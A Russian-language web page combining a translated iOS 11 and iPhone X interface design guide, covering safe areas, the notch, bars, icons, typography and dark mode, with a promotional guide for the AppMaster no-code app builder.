Дизайн для ios iphone

Вместе с iOS 11 появился новый iPhone X, айфон с самой большой диагональю экрана, который фактически не имеет границ. 5.8 дюймовый OLED экран даже больше чем экран 5.5 дюймов iPhone 8 Plus, в то время как размер самого корпуса примерно такой же как у iPhone 8. Для дизайнеров это означает большую свободу в макетах.

Большой экран

Дополнительные 145 pt дают пространство для еще одного ряда контента. Или мы можем разместить на экране меню, которое раньше туда не помещалось. Эти новшества касаются и iPhone 8, и 8 Plus, так как они имеют одинаковые пропорции, несмотря на разное разрешение.

Больше места для контента

Если сравнивать с самым первым iPhone, высота экрана увеличилась на 332 pt, а это 7 navigation bars. Все больше пространства для контента, и все меньше необходимости в гамбургер-меню.

Если сравнить первый iPhone и iPhone X, то можно заметить, что место для контента увеличилось почти вдвое. В целом это означает что современные приложения всегда должны включать все составляющие: статус бар, навигацию, таб бар и индикатор кнопки Home. Игнорируя эти элементы, вы рискуете навредить пользовательскому опыту и сделать приложение несовместимым со стандартами Apple.

Выемка

Возможно самый спорный аспект нового дизайна занимает верхние 10% экрана. Сенсорный датчик, больше известный как Выемка, – это элемент, который не дает новому экрану занимать полностью всю площадь. Технологически сейчас невозможно обойтись без Face ID, камеры и динамика, находящихся в нем.

С точки зрения дизайна это самый большой компромисс на который пошла компания Apple за последние годы. Но посмотрев на то, как другие производители телефонов решают проблему большого экрана, можно заметить, что и они не обошлись без компромиссов.

Apple советует не скрывать Выемку за черным статус баром. Они аргументируют это тем, что несмотря на свою назойливость, выемка обеспечивает ценное пространство для статус бара и дополнительного контента.

Она является логическим продолжением контента и визуально делает экран больше. Элементы фона, такие как обои, карты и цвета, не страдают, когда их слегка закрывают закруглённые углы экрана и выемка. Скрывая это пространство, экран будет казаться меньше, а приложение не будет соответствовать стандартам Apple. Объяснение в этом видео.

Огромные заголовки

В iOS 11, заголовки обычно черного цвета размером 34 pt в начертании Bold. Интересно, что когда вы скроллите экран вниз, заголовки переходят на панель навигации и, тем самым, возвращают нам это ценное пространство.

При ландшафтной ориентации экрана заголовок остается маленьким в баре. Из этого дизайнерам можно сделать вывод что, во-первых, нужно использовать это дополнительное пространство с умом, и во-вторых, нужно делать дизайн адаптивным, так как это пространство может быть в портретной ориентации и отсутствовать в ландшафтной.

Большой статус бар

Статус бар увеличился в высоту больше чем в 2 раза от 20 pt до 44 pt. Уведомления теперь можно просто стянуть вниз из левого верхнего угла. Для вызова пункта управления смахните экран из верхнего правого угла экрана. Смахивая экран снизу вы попадаете на домашний экран, но только если движение сделано быстро.

Безопасная зона контента

Создавая дизайн для iPhone X нужно учесть, что скругленные углы экрана и выемка могут обрезать контент. Нужно всегда помнить об этом. Используя безопасные зоны экрана вы сможете расположить ваши элементы так, чтобы выемка никак не обрезала контент. В целом, все фоновые изображения можно располагать не опираясь на этот гайд, но такие элементы как текст, изображения и кнопки обязательно должны располагаться с учетом этих зон.

iPhone X в ландшафтном режиме

В ландшафтной ориентации экрана статус бар скрывается, чтобы максимально увеличить место для контента. Бар навигации сокращается до 32 pt, Tab bar до 30 pt, а индикатор кнопки home до 23 pt. Хотя большинство пользователей редко переключается в ландшафтный режим на iPhone X, все еще существует большое количество сценариев, когда нужен именно этот режим.

Например, для просмотра горизонтальных фотографий, полноэкранных видео или для чтения статей с большими текстами. После того, как заканчивается просмотр, пользователь интуитивно возвращается на портретную ориентацию экрана, особенно если устройство удобно поддерживается в ландшафтной ориентации.
Если ваше приложение уже адаптировано под iPad, почему тогда не адаптировать его и под ландшафтную ориентацию iPhone? Огромная выгода с минимальными усилиями, так как большинство приложений разработано с учетом адаптивности макетов.

Веб-сайты в ландшафтном режиме

Если вы продуктовый дизайнер, скорее всего вы работаете с Вебом. При обычном просмотре в режиме ландшафтной ориентации в iPhone X ваш сайт будет иметь очень много пустого места с левой и правой сторон экрана. Это происходит, потому что безопасные зоны появляются автоматически, чтобы избежать обрезки контента, от чего все становится еще хуже. Чтобы избежать этого, Apple разработала гайд для адаптации вашего сайта под iPhone X в ландшафтной ориентации. В целом, вы можете расширить ваш фон, чтобы он заполнял весь экран, в то время, как сам контент будет находится в пределах безопасной зоны.

Скругленные углы экрана

Контент также может обрезаться из-за скругленных углов экрана iPhone X. Если вы не скрываете статус бар или индикатор кнопки Home, то вы не столкнетесь с такой проблемой. Однако, для полноэкранных приложений, таких как Камера, будет важно оставлять отступы в углу экрана. Скругления углов заданы радиусом 16 pt, такой же радиус скругления также рекомендуется для использования в кнопках.

Просматривайте ваши приложения на симуляторе iOS

iPhone X еще не вышел. Скорее всего, после открытия продаж устройства быстро раскупят, и они будут недоступны для большинства из нас. Не имея на руках нужного устройства, чтобы протестировать на нем свой дизайн, остается только использовать симулятор iOS. Вы можете просмотреть свое приложение или веб сайт, установив Xcode.

“Гамбургер” меню больше не нужны

За последнее десятилетие дизайнерам приходилось бороться за каждый пиксель на крошечном экране первого iPhone. Многие решили полностью опустить Tab bar, потому что для него требовалось слишком много вертикального пространства. Применив немного креатива, некоторые из них придумали кнопку, которая будет выезжать слева. Это было рождение знаменитого Гамбургер меню. Сначала это было весело и свежо, но в плане юзабилити это был настоящий кошмар. Больше кликов для того, чтобы достичь скрытых под кнопкой экранов. В результате, использование вторичных вкладок снизилось, так как часто люди забывали о том, что там может быть больше содержимого.
С появлением больших экранов смартфонов, пользователю стало сложнее использовать его с помощью одной руки.

Apple даже реализовала функцию опускания Navigation Bar по двойному тапу кнопки Home, при этом весь пользовательский интерфейс приложения также двигался вниз. Это было сделано для того, чтобы пользователь мог добраться до навигации с помощью большого пальца. Затем эта функция преобразовалась в вызов меню по двойному тапу. Гамбургер меню обычно располагался в левом верхнем углу экрана и добраться до него было крайне сложно. А сейчас, когда экраны стали гораздо больше, больше нет нужды бороться за место для контента. Tab bar — самый очевидный способ заменить Гамбургер меню, так как места для него сейчас достаточно. iPhone X подтверждает это направление. Если в вашем приложении есть несколько разделов, то нет никаких причин чтобы не использовать Таб бар. В iOS 11 Tab bar в ландшафтной ориентации экрана занимает даже меньше места.
Гамбургер меню очень распространены в вебе, и возможно это одна из причин почему мобильный веб опыт не догнал нативный опыт.
Даже React Native использует нативные контролы, которые являются фантастическим направлением в Веб технологии. Однако в iOS и особенно в iPhone X, вам нужно использовать Таб бар.

Адаптивные макеты и многозадачность

Сейчас, когда постоянно увеличивается количество разрешений для экранов с которым приходится иметь дело, очень важно делать ваши макеты адаптивными. Используя такие инструменты как Constraints в Sketch и Auto Layout в Xcode вам придется проектировать экран в расчете на то, что экран будет гибким и при необходимости может отображать дополнительное меню.

Stack Views

В Xcode вы также найдете Stack Views, прекрасное приложение для того, чтобы сделать ваши макеты более отзывчивыми на изменения. Некоторые элементы и группы могут динамично соединяться друг с другом и вам потребуется только редактировать отступы, когда контент встанет на место. Затем вы сможете завершить работу с Auto Layout. Эппл рекомендует использовать сначала Stack Views, затем Auto Layout.

Точки и Пиксели

Разработчики работают с точками, поэтому очень важно понимать разницу с пикселями. Когды был представлен самый первый айфон, эти 2 единицы были одинаковы 1 точка равнялась 1 пикселю. Затем, когда появились ретина экраны, 1 точка стал равняться 2 пикселям. Таким образом можно сказать что точки это величины измерения для первого айфона, в то время как пиксели это единицы измерения для новых моделей, и качество экрана напрямую зависит от их плотности (iPhone 4, 5, 6, 7, 8 = @2x, iPhone 8 Plus, iPhone X = @3x). Чтобы лучше понять разницу между в точках и пикселях рекомендую посмотреть видео.

Разрешения экрана iPhone

Всего в линейке iPhone 5 главных разрешений: 320 x 480 pt (iPhone 4), 320 x 568 pt(iPhone 5), 375 x 667 pt (iPhone 8), 414 x 736 pt (iPhone 8 Plus) and 375 x 812 pt (iPhone X). Макет не масштабируется, а расширяется в зависимости от разрешения. Например панель навигации адаптируется по ширине, но сохраняет ту же высоту. Элементы внутри остаются неизменными. iPhone 8 Plus единственный телефон который по поведению больше похож нам iPad в ланшафтном режиме. Иначе говоря, навигация может появится слева, заменяя собой Таб бар.

Иконки приложений

Иконка приложения используется для создания стиля вашего приложения. Это первое, что видят пользователи, когда начинают работу с приложением. Она отображается на домашнем экране, в App Store, Spotlight и настройках.

Размеры иконок

Разрешение @1x больше не поддерживается для iPhone, поэтому вам не нужно создавать для него иконку.
Иконки приложений сейчас имеют только два разрешения: @2x и @3x. Существует три типа иконок: иконка приложения, иконка spotlight и иконка для настроек. Для iPad используются @1x и @2x.

Супер-эллипс

Начиная с iOS 7 круглые углы у иконок заменены формой эллипса. Если присмотреться, то видно, что уголки скругляются плавно. Поэтому не экспортируйте значки с маской, так можно получить черные области по краям. Лучше экспортировать квадратной формы.

Сетка для иконок

Apple использует правило золотого сечения в некоторых иконках. Это является гарантией хороших пропорций, но не является строгим правилом. Даже Apple не всегда его придерживается.

Цвета

iOS использует яркие цвета для того, чтобы иконки выделялись. Такие цвета хорошо работают как на белом, так и на чёрном фоне. Имейте ввиду, что яркие цвета должны использоваться редко, только в качестве призыва к действию и на минимально загруженном фоне. Приблизительно, только 10-20% всего дизайна может быть цветным, или же они будут слишком сильно конкурировать с контентом.

iOS часто использует нейтральные цвета для отображения фона или зоны меню. Хорошо контрастирующий чёрный текст против белого фона — лучшее средство для комфортного чтения. Наконец, для выделения кнопок используется пастельный синий цвет.

Системный шрифт

Системный шрифт теперь называется SF Pro Text для текстов с кеглем шрифта, меньше, чем 20 pt, и SF Pro Display для шрифта с кеглем 20 pt и больше. Важно отметить, что теперь при использовании системного шрифта, вы получаете доступ к динамическому шрифту (Dynamic Type), который позволяет шрифту настраиваться в соответствии с предпочтением пользователя.

Кнопки и размеры шрифтов

Главное правило: 44pt для кнопок, 12pt для маленького текста, 17pt для контента и 20pt+ для заголовков.

Расстояние между элементами и положение

Главное правило — придерживаться отступов в 8pt от края экрана и между элементами. Это создаёт достаточно воздуха, что облегчает восприятие контента на странице, а текст делает более читабельным. Также, UI элементы и текст должны располагаться по общей базовой линии.

Status Bar

Рекомендовано включать статус бар на тех экранах, где возможно это сделать. Пользователи полагаются на него при просмотре такой важной информации, как уровень заряда, сигнал сети, время. Текст и иконки могут быть как белого, так и чёрного цвета, но фон может быть любого цвета или даже сливаться с баром навигации.

Navigation Bar

Бар навигации — это быстрый доступ к информации об экране. Левая часть бара может быть использована для размещения кнопок «Назад», «Профиль», «Меню», тогда как правая часть может использоваться для кнопок действия: «Добавить», «Изменить», «Готово». Важно, что если вы используете одну из системных иконок, то нет необходимости создавать ассеты для них.

Так же, как и в статус баре, фон может задаваться любым цветом, и обычно имеет тонкое размытие, чтобы текст всегда читался. Когда бар навигации создаётся вместе со статус баром, оба фона объединяются.

Поиск

Когда у вас достаточно много содержимого на странице необходимо обязательно добавлять возможности поиска по содержимому.

Тулбар

Тулбар используется в качестве дополнительного места для размещения активных кнопок и показа состояния экрана.

Таб бар

Таб бар — это главная навигация между экранами. Избегайте гамбургер-меню, если у вас всего несколько элементов. Меню, которое видно сразу, увеличивает количество переходов по пунктам этого меню, поскольку очевидное всегда выигрышнее. Кроме этого, лучше добавляйте текст к иконкам меню, так как большинство пользователей не могут распознать символы, особенно, когда они не стандартные.

Состояния

Когда элементы меню не активны, иконки должны быть серыми. Например, как на картинке — они привлекают меньше внимания.

Вид таблицы

Табличный вид наиболее часто используемый вид для пролистывания контента. Многие приложения используют формат табличного отображения. Этот вид стандартен, а также настраиваем вплоть до самых мелких элементов.

Основные стили

На базовом уровне Вы можете использовать некоторый набор предустановленных стилей и особенностей.

Разделы

Элементы могут быть сгруппированы с заголовком сверху и описанием ниже.

Collection View

Когда нужно разместить контент в виде таблички по строкам и столбцам, можно использовать Collection View. Он поможет вам в создании лэйаута мечты.

Варианты лэйаутов Collection View

Если коллекция не одна, можно создать комбинацию Collection View. Возможности безграничны.

Модальные окна

Диалоговое окно предупреждения используется для передачи важной информации и требует от пользователя совершения немедленного действия. Диалоговые окна такого типа должны содержать краткую и емкую информацию, а действия должны быть очевидными.

Модальные окна активности

Диалоговое окно активности позволяет обмениваться контентом (текстом, изображениями, ссылками) через Airdrop, различные приложения (например, Mail, Facebook, Twitter), а также добавить в избранное, в закладки и др. Внешний вид окна настраивать нельзя, а функции можно.

Полноэкранные модальные окна

Если информации много, можно использовать модальные окна на весь экран. Такие окна обычно открываются и закрываются с помощью анимации (они могут выезжать, появляться и исчезать, переворачиваться, пролистываться). Как и другие модальные окна, эти также должны быть предельно краткими и емкими, их должно быть легко скрыть.

Клавиатуры

Клавиатура используется для ввода информации в текстовые поля. Она легко кастомизируется под ввод разных видов информации, например, ссылки, эмейлы, номера телефонов, эмоджи. Есть возможность выбрать светлую или темную тему и надпись на кнопке подтверждения (по умолчанию «ввод» или «return» в англ.).

Picker

Если вариантов выбора много, можно использовать Picker. Он особенно удобен для дат, когда нужно ввести сразу три поля (число, месяц, год).

Segmented Control

Если Tab Bar используется для переключения между основными разделами, то данный контрол для переключения между подразделами.

Слайдеры

Слайдеры – это интерактивные контролы, которые не очень точны, но чрезвычайно удобны для быстрых настроек, таких как звук или яркость.

Progress bar

Элемент Progress bar показывает прогресс выполнения действия. Например, при загрузке веб-страницы. Высоту элемента можно настраивать.

Переключатель (Switch)

Используется для быстрого включения и выключения функций. Не подходит ни для каких контекстов кроме вкл./выкл.

Stepper

Stepper медленнее, но точнее слайдера. Позволяет пользователям увеличивать или уменьшать значение с шагом в один. Граница и заливка настраиваются.

Иконки iOS

Стандартные значки платформы. Они повсеместно используются в iOS и хорошо понимаются пользователями. Использование этих иконок в других целях может смутить пользователей, поэтому очень важно знать, как они используются в iOS.
При создании своих иконок важно использовать хорошо знакомые символы. Кроме того, рекомендуется дополнять их небольшим текстом в 10pt или больше.

Рекомендуемые ресурсы

Эти шаблоны полезны не только для обучения. Вы можете их использовать и кастомизировать под свои нужды.

Набор IOS 11 GUI от APPLE

Если вы создаете дизайн для iOS, то захотите использовать стандартные элементы, такие как панели статуса, навигации и вкладок.

Набор IOS 11 GUI от GREAT SIMPLE STUDIO

Наиболее полный комплект со множеством элементов.

Мокапы устройств в векторе

Персональная коллекция автора с более чем 260 мокапами, сделанными в векторе. Идеально для презентации ваших проектов.

Дизайн ресурсы от FACEBOOK

Сокровищница ресурсов дизайна iOS, включая SoundKit, держащие устройства руки и полезные интерфейсы.

ЧТО НЕ НАДО ДЕЛАТЬ

Замечательная статья про дизайн для iPhone X. Включает несколько хороших примеров о том, что НЕ надо делать, если вы готовите дизайн для iPhone X.

Есть практики, которые вам следует избегать любой ценой, особенно если вы новичок в дизайне под iOS. Следуйте этим простым примерам, собранным Apple. Даже просто взглянуть может быть полезным.

Гайдлайны IOS от IVO MYNTTINEN

Если хотите узнать больше об iOS с другой точки зрения, посмотрите этот замечательный и содержательный гайд.

Перевод выполнен UX/UI дизайнерами компании Викторией Шишкиной, Ксенией Валякиной и Анастасией Овсянниковой

Устройства iOS, такие как iPhone и iPad, являются одними из самых популярных интеллектуальных устройств в мире. С ростом числа смартфонов и приложений во всем мире, вполне логично, что количество приложений для iPhone также растет с каждым днем.

Как частные лица, так и предприятия используют различные типы приложений для iOS для выполнения своих требований и достижения поставленных целей. Хорошо то, что разработка приложений для iPhone стала проще и быстрее с надежной платформой no-code, такой как AppMaster.

Источник изображения – dribbble/ Автор – Исаак Санчес

Будь то традиционный процесс разработки приложений или современная разработка iOS-приложений без кода, вы можете воплотить свои идеи в реальность, если будете учитывать некоторые важные факторы. Это исчерпывающее руководство по дизайну приложений для iPhone поможет вам узнать о разработке приложений для iPhone.

Могу ли я разработать приложение на iPhone?

Да, вы можете создать удобный и привлекательный дизайн приложения для iPhone, если будете помнить о некоторых важных вещах, таких как правильное размещение элементов пользовательского интерфейса и знание того, как создать интуитивно понятный дизайн пользовательского интерфейса.

Более того, такие платформы, как AppMaster, имеют простые в использовании функции drag-and-drop, которые помогают как неопытным, так и опытным дизайнерам в создании различных экранов и всего приложения для iPhone.

Процесс разработки приложений для iOS

Основными этапами разработки приложений для iOS являются:

• Изучение различных идей приложений для создания тщательной стратегии и концепции приложения.
• Воплощение идей приложения в реальность путем проектирования. Это включает в себя разработку различных потенциальных дизайнов пользовательского интерфейса, чтобы выбрать лучший в соответствии с конкретными требованиями.
• Создание эскизов приложений для iOS, чтобы определить общий пользовательский интерфейс и UX.
• Разработка с помощью традиционных подходов или быстрая реализация с помощью no-code app builders.
• Публикация приложения для iOS в App Store и маркетинг для охвата более широкой аудитории.

Процесс разработки UI/UX

Независимо от того, хотите ли вы создать приложение для Android для личного пользования или опубликовать мобильное приложение в Apple App Store, существуют определенные правила проектирования UI/UX, которым вы должны следовать, чтобы получить наилучшие результаты. Основными этапами проектирования UI/UX являются следующие:

• Определение продукта включает в себя всесторонний анализ требований пользователей.
• Исследование для определения того, как работают существующие системы и как вы можете устранить их ограничения с помощью вашего приложения для iOS.
• Анализ собранных исследований для выработки эффективных решений, включающих удобные для пользователя UI и UX.
• Разработка удобного интерфейса для обеспечения удовлетворительного пользовательского опыта.
• Валидационное тестирование, чтобы убедиться, что разработанные UI и UX полезны для целевой аудитории.

Размеры экрана iPhone

Размер экрана мобильного устройства имеет большое значение при разработке приложения. Для того чтобы опубликовать приложение в магазине приложений Apple, необходимо учитывать множество различных факторов, в том числе то, что приложения оптимизированы под размеры экрана iPhone. На следующих изображениях показаны различные размеры экрана iPhone:

Какой размер артборда следует использовать для дизайна iPhone?

Выбор подходящего размера экрана для вашего приложения для iOS очень важен для того, чтобы ваше приложение для iPhone достигло максимального количества людей и не затерялось в переполненном магазине приложений iOS.

Как правило, вы всегда должны использовать размер экрана самого популярного iPhone, чтобы ваше приложение для iOS охватило максимальное количество людей. Однако, если вы создаете приложение для конкретной цели, которая предполагает большое количество визуальных деталей, вам следует протестировать это приложение для iPhone на экранах меньшего размера.

При выборе идеального артборда для дизайна приложения iPhone учитывайте следующие моменты:

• Проверьте статистику вашего существующего приложения или веб-сайта, чтобы узнать, какие размеры экрана чаще всего использует ваша аудитория.
• Если вы хотите создать приложение для широкой аудитории, используйте наиболее распространенный размер экрана iPhone: 375x667pt или 375x812pt.
• Более современный размер экрана iPhone 414×896 pt или даже больше в настоящее время является лучшим выбором, если ваше приложение предназначено для технически подкованной аудитории.

Следует также помнить, что дизайн, который хорошо функционирует на компактном экране (375pt), скорее всего, будет хорошо функционировать и на большом экране (414pt), но в противоположном случае он не будет работать должным образом.

Поэтому, как правило, сначала лучше разрабатывать дизайн для меньших экранов, а затем проверять и модифицировать его для больших. Высота артборда не сильно влияет на дизайн приложения для iPhone, потому что ширина – гораздо более важный аспект, который нужно учитывать при выборе правильного размера.

Точки iOS против пикселей

Размер шрифтов и других компонентов пользовательского интерфейса на различных устройствах iOS измеряется дизайнерами приложений для iPhone в “пунктах”. Ваш экран состоит из маленьких квадратиков света, называемых “пикселями”. Более четкое изображение получается в результате уменьшения размера пикселей, что просто замечательно для приложений для iOS. Это также повышает визуальную привлекательность для пользователей.

Однако если бы вы просто уменьшили размер пикселей, все на экране сделало бы то же самое. Размер компонентов на экране измеряется дизайнерами приложений для iOS в пунктах, чтобы сохранить баланс. Мы могли бы просто использовать квадрат 2×2 пикселей для каждой точки (2x) после того, как пиксели стали вдвое меньше в высоту/ширину. Кроме того, мы могли бы использовать квадрат 3×3 для каждой точки, когда пиксели составляют примерно треть от их первоначальной высоты/ширины.

Благодаря системе точек можно использовать дисплеи с большим разрешением, что предотвращает уменьшение размеров элементов на странице. Дизайнеры часто используют фразы-синонимы; вам придется определить, что они означают, исходя из контекста.

Макет страницы iPhone

Люди могут наслаждаться любимыми приложениями и играми для iOS на всех своих устройствах, используя единый макет, который меняется в зависимости от обстоятельств. Учитывайте важные особенности дисплея и системы каждой платформы. Безопасные зоны экрана позволяют избежать вмешательства в интерактивные системные компоненты, такие как динамический остров на iPhone, индикация Home и переключатель приложений на iPhone и iPad.

Убедитесь, что ваше приложение работает на экранах всех размеров для данного устройства, если оно запускается на этом конкретном устройстве. Поэтому приложение, предназначенное только для iPhone, должно работать на всех размерах экрана iPhone, а приложение, предназначенное только для iPad, должно работать на всех размерах экрана iPad. На каждой странице есть строка состояния, за исключением страниц с полноэкранными фотографиями, видео или другими медиа. Индикаторы времени, Wi-Fi, сигнала и заряда батареи отображаются в строке состояния, которая может содержать текст и пиктограммы черного или белого цвета.

Для фона строки состояния можно использовать любой цвет или прозрачность. В конечном итоге дизайнеры выбирают наилучший дизайн, цвета и общую тему в соответствии с создаваемым приложением для iPhone. Строка состояния iOS также полезна для отображения небольших значков при получении уведомления от приложения iPhone. Используйте белый текст, если вы используете строку состояния на любом изображении, кроме самого светлого. Другой вариант – добавить размытие фона, если вам нужна простая строка состояния на нескольких разных фотографиях. Эта строка состояния в стиле “матового стекла” размывает все цвета, находящиеся под ней, улучшая читаемость текста без добавления дополнительных цветов, границ или чрезмерно привлекающих внимание компонентов интерфейса.

Светло-серый фон страницы служит для матового стекла цветом “по умолчанию”. Поэтому текст над ним должен быть черным, а не белым. iPhone имеют дизайн “вырез” и закругленные края по границе только с момента выхода iPhone X. Строка состояния на старых iPhone и всех iPad короче и более сжатая.

Навигационная панель iOS

Навигация приложения, заголовок страницы, ключевые действия на странице и – часто – поиск отображаются в навигационной панели. Обычно она состоит из трех рядов с высотой от 44pt до 54pt. Соответственно, приложение для iPhone будет отображать один, два или три ряда в зависимости от требований страницы и положения прокрутки. Используйте один ряд, если вам нужно компактно отобразить несколько действий на странице. Макет страницы приложения для iOS по умолчанию предусматривает два ряда, один для действий на странице, а другой для большого заголовка страницы, если вы можете выделить дополнительное место. Такой дизайн чаще встречается в приложениях iOS для iPhone с большими дисплеями.

Однако если первый ряд пуст, а вам нужно отобразить поиск, вам потребуется третий ряд. На изображениях выше показано только поведение перед прокруткой. iOS определяет несколько интригующее поведение, как только пользователь начинает прокрутку. Когда приложения iPhone прокручиваются, строка поиска, которая всегда должна быть видна, перемещается с третьего ряда на второй.

Только когда пользователь находится в самом верху страницы, она будет видна, если она менее значительна; в противном случае она полностью исчезает. Когда пользователь прокручивает страницу обратно к верхней части экрана после того, как ряды навигационной панели iOS исчезли, они снова появятся. Эти факторы необходимо учитывать при разработке приложений для iPhone, чтобы обеспечить правильное размещение элементов пользовательского интерфейса для максимального удобства пользователей.

Панель вкладок iOS

Возможность легко перемещаться между различными областями приложения обеспечивается с помощью панели вкладок iOS, которая располагается в нижней части экрана приложения iPhone. Панели вкладок прозрачны, могут иметь тонированный фон, всегда имеют одинаковую высоту независимо от ориентации экрана и скрываются, когда видна клавиатура.

На панели вкладок может присутствовать любое количество вкладок. Однако количество вкладок, которые реально видны, зависит от размера и ориентации устройства. Последняя видимая вкладка превращается в вкладку “Еще”, когда некоторые вкладки не видны из-за нехватки горизонтального пространства, открывая оставшиеся вкладки в виде списка на другом экране.

Индикатор Home в iOS

Самая базовая модель взаимодействия устройства iPhone и приложений iOS устанавливается с помощью индикатора home – перехода на домашний экран. Вначале Apple объясняет пользователям, что для перемещения по пользовательскому интерфейсу с экрана блокировки необходимо провести пальцем по этой полоске. Если вы ошибочно нажмете или надавите на экран блокировки, iOS мягко подтолкнет вверх индикатор home, чтобы показать, какое действие нужно предпринять, чтобы вернуться на главный экран.

Постоянное появление индикатора home на экране служит визуальным сигналом о том, где нужно провести пальцем, и позволяет системе быстрее обрабатывать сенсорные вводы и инициировать действие проведения пальцем, чем в противном случае. Возможная отмена жеста, предназначенного для открытого приложения, не является проблемой для iOS. Это одна из основных причин, почему переключение задач на новом iPhone X кажется гораздо более отзывчивым, чем запуск Центра управления на более раннем iPhone.

Навигация в приложениях iOS

Лучшие приложения для iPhone – это те, которые наилучшим образом используют встроенные навигационные функции iPhone. Четыре основных варианта навигации: “Назад”, “Свайп вправо”, “Отмена” и “Свайп вниз”.

Следуйте этим рекомендациям для создания удобных навигационных опций в приложениях для iPhone:

• Когда пользователи перемещаются по вашему приложению, заголовок каждого экрана помогает им определить свое местоположение. Однако вы можете оставить поле заголовка пустым, если именование навигационной панели кажется бессмысленным. Например, приложение Notes пропускает заголовок для текущей заметки, поскольку обычно достаточно информации в первой строке текста.
• Люди знают, что нажатие обычной кнопки “назад” позволяет им вернуться на предыдущие экраны приложения. Если вы используете пользовательскую кнопку “назад”, убедитесь, что она работает так, как ожидают пользователи, вписывается в остальной интерфейс и используется последовательно во всем приложении iOS.
• Если на вашей навигационной панели много кнопок с текстовыми метками, текст может сливаться с текстом и делать кнопки трудноразличимыми.

Иконки приложений для iOS

Каждое приложение и игра должны иметь красивую иконку приложения, поскольку они являются важным компонентом пользовательского опыта на всех платформах Apple и в приложениях iOS. Вы должны разработать значок приложения для iPhone, который легко адаптируется к различным формам и степени детализации, сохраняя при этом четкую визуальную последовательность и смысл, поскольку каждая платформа определяет несколько иной стиль для значков приложений.

Вот некоторые из важных советов, которые следует иметь в виду для создания привлекательной иконки приложения iPhone:

• Люди легче воспринимают и идентифицируют простую иконографию. Сделайте центром символа то, что лучше всего выражает дух вашего приложения или игры в четкой, отличительной манере.
• В приложениях для iOS и Android лучше не включать слишком много деталей, так как это может исказить внешний вид иконок, особенно при небольших размерах. Предпочтительно выбирать нейтральный фон, выделяющий основное изображение; символ не обязательно должен быть полностью заполнен материалом.
• На фотографиях есть много элементов, которые при уменьшении масштаба выглядят неловко. Создайте визуальное изображение информации, подчеркивающее особенности, на которые вы хотите, чтобы зрители обратили внимание, вместо того чтобы использовать фотографию. Аналогично, если ваше приложение для iPhone имеет узнаваемый пользовательский интерфейс, избегайте простого копирования типичных элементов пользовательского интерфейса или использования скриншотов приложения для вашего символа.

Другие условные обозначения iOS

Ниже перечислены некоторые другие важные соглашения, о которых вы должны помнить, чтобы создать эффективное приложение для iPhone:

Размер цели касания в iOS
Каждая кнопка, ползунок и элемент управления, по которому пользователи могут коснуться в вашем приложении для iOS, должна иметь размер не менее 44×44 точек.

Текстовые ссылки – единственный случай, когда это действительно допустимо. Каждая строка текста в абзаце, вероятно, будет намного меньше, чем 44pt. Это означает, что ваши ссылки будут иметь цели касания меньше 44pt, и пользователям будет трудно точно нажимать на ссылки, если они появляются в одном и том же месте на двух следующих друг за другом строках текста.

Хотя это не всегда можно предотвратить, важно знать об этой потенциальной проблеме, чтобы дизайнеры могли соответствующим образом изменить дизайн приложений для iPhone. В противном случае это может негативно сказаться на пользовательском опыте.

Темный режим
Для того чтобы правильно использовать опцию “Темный режим” в приложениях для iPhone, необходимо следовать следующим рекомендациям:

• Инвертировать цвета текста
  Инвертированный цвет текста используется в приложениях для iPhone. Это означает, что черный текст превращается в белый, темно-серый – в светло-серый, а средне-серый, по сути, остается неизменным. Если вы изучите типографику приложений с поддержкой темного режима, вы увидите, что iOS фактически уменьшает количество оттенков цвета текста и упорядочивает их для темной темы. Если вы не уверены, сделать ли серый цвет средней яркости светлее или темнее, используйте решение, при котором текст сильнее выделяется на общем фоне.

• Смещение цветов фона
  Все цвета фона стали темнее, в отличие от текста, у которого темные оттенки стали светлее. В темном режиме цвет фона, который был светлее в светлом режиме, остается светлее. Это происходит потому, что источником света является небо.

  Если вы осознаете это, то поймете, что оттенок фона указывает на глубину (в отличие от текста). В результате он действует совершенно по-другому. Этим советам можно следовать и для приложений для Android.

Могу ли я создавать приложения для iOS бесплатно?

Традиционные процедуры разработки приложений для iOS требуют много времени и затрат. Поэтому гораздо лучше полагаться на инструменты no-code, чтобы создавать приложения для iPhone самостоятельно. Используя эти платформы, вы можете даже создать базовое приложение для iPhone бесплатно. Однако если вы хотите создать сложное приложение, которое хочет стать одним из лучших приложений для iPhone, вам придется потратить немного денег.

No-code iOS app builder

Разработка приложений без кода – один из лучших способов создать приложение для iOS легко, быстро и с минимальными затратами. AppMaster – это мощный конструктор приложений, который позволяет создавать приложения для Android, веб-приложения и приложения для iOS.

Удобный конструктор приложений AppMaster позволяет любому человеку, с навыками кодирования или без них, разрабатывать столько приложений, сколько он захочет, причем все они могут быть родными для определенных устройств, таких как iPhone. Мощные инструменты визуального редактирования AppMaster позволяют любому человеку легко разрабатывать приложения для iPhone и публиковать их в магазине приложений iOS.

Ниже перечислены некоторые из многочисленных преимуществ, которые вы можете ожидать, используя AppMaster для разработки приложений для iOS без кода:

• Он предлагает серверный метод, который позволяет мгновенно обновлять экспертное веб-приложение или мобильное приложение, над которым вы работаете. Статические программные средства, будь то веб-приложения или мобильные приложения, следует избегать любой ценой в современных постоянно развивающихся платформах и Интернете. С другой стороны, как программист, вы должны иметь возможность мгновенно обновлять, изменять и дополнять развернутое вами программное обеспечение. Поступая таким образом, вы выигрываете у конкурентов, предлагая своим потребителям самые лучшие услуги.

Не в последнюю очередь AppMaster эффективно интегрируется с множеством различных инструментов. Вы можете получать push-уведомления, персонализировать свои push-уведомления, делать отчеты в социальных сетях и получать аутентификацию для своих мобильных проектов или приложений путем интеграции предпочитаемых технологий. Среди коннекторов, которые предлагает AppMaster, – Zoom, Discord, Microsoft Azure, Slack и другие.

iOS очень выросла за последние годы.
С ее iOS 9 апгрейдом, компания Apple представила свой новый стандартный шрифт San Francisco, 3D Touch, а также многозадачность на iPad. В Xcode вы сможете найти Stack Views, превосходный инструмент для более адаптивных макетов, намного проще Auto Layout.

Apple отдает предпочтение именно адаптивным макетам, чтобы ваши дизайны функционировали хорошо на разных устройствах.

Бесплатный курс по Дизайну Моб. приложений

Адаптивный макет и многозадачность

С ростом общего количества разрешений дисплея, с которыми нужно иметь дело, важно обеспечить адаптивность макета. Применяя инструменты типа Xcode или Sketch Constraints, вам надо создавать дизайн таким образом, чтобы размер экрана не влиял на комфорт пользования интерфейсом, и при потребности можно было показать дополнительные меню.

Таким образом макет адаптируется с iPhone на iPad Pro. UI больше расширяется, нежели увеличивается. Для более крупных экранов, как на iPhone 6 Plus и iPad в альбомном режиме, вместо панели вкладок панель навигации слева.

Как Fluid помогает настраивать дизайн на основе размеров артборда.

Шрифт Francisco Font

